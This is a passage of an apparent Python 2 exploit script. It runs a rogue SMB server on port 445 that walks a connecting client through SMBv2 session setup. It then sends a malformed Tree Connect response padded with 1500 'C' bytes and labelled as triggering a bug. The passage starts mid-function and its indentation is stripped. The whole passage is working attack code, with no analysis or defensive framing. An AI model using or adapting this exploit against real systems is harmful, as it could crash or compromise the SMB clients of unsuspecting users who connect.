head = SMBv2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID="\x4d\x00\x00\x00\x00\x04\x00\x00",NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Session challenge SMBv2 packet sent."
self.request.send(buffer1)
data = self.request.recv(1024)

#Session Positive
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02":
head = SMBv2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x00\x00\x00\x00", SessionID=GrabSessionID(data))
t = SMB2SessionAcceptData()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)

## Tree Connect
if data[16:18] == "\x03\x00":
head = SMBv2Header(Cmd="\x03\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", TID="\x01\x00\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x00\x00\x00\x00", SessionID=GrabSessionID(data))
t = SMB2TreeData(Data="C"*1500)#//BUG
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Triggering Bug; Tree Connect SMBv2 packet sent."
self.request.send(buffer1)
data = self.request.recv(1024)

except Exception:
print "Disconnected from", self.client_address
pass

SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),SMB2)
launch.serve_forever()


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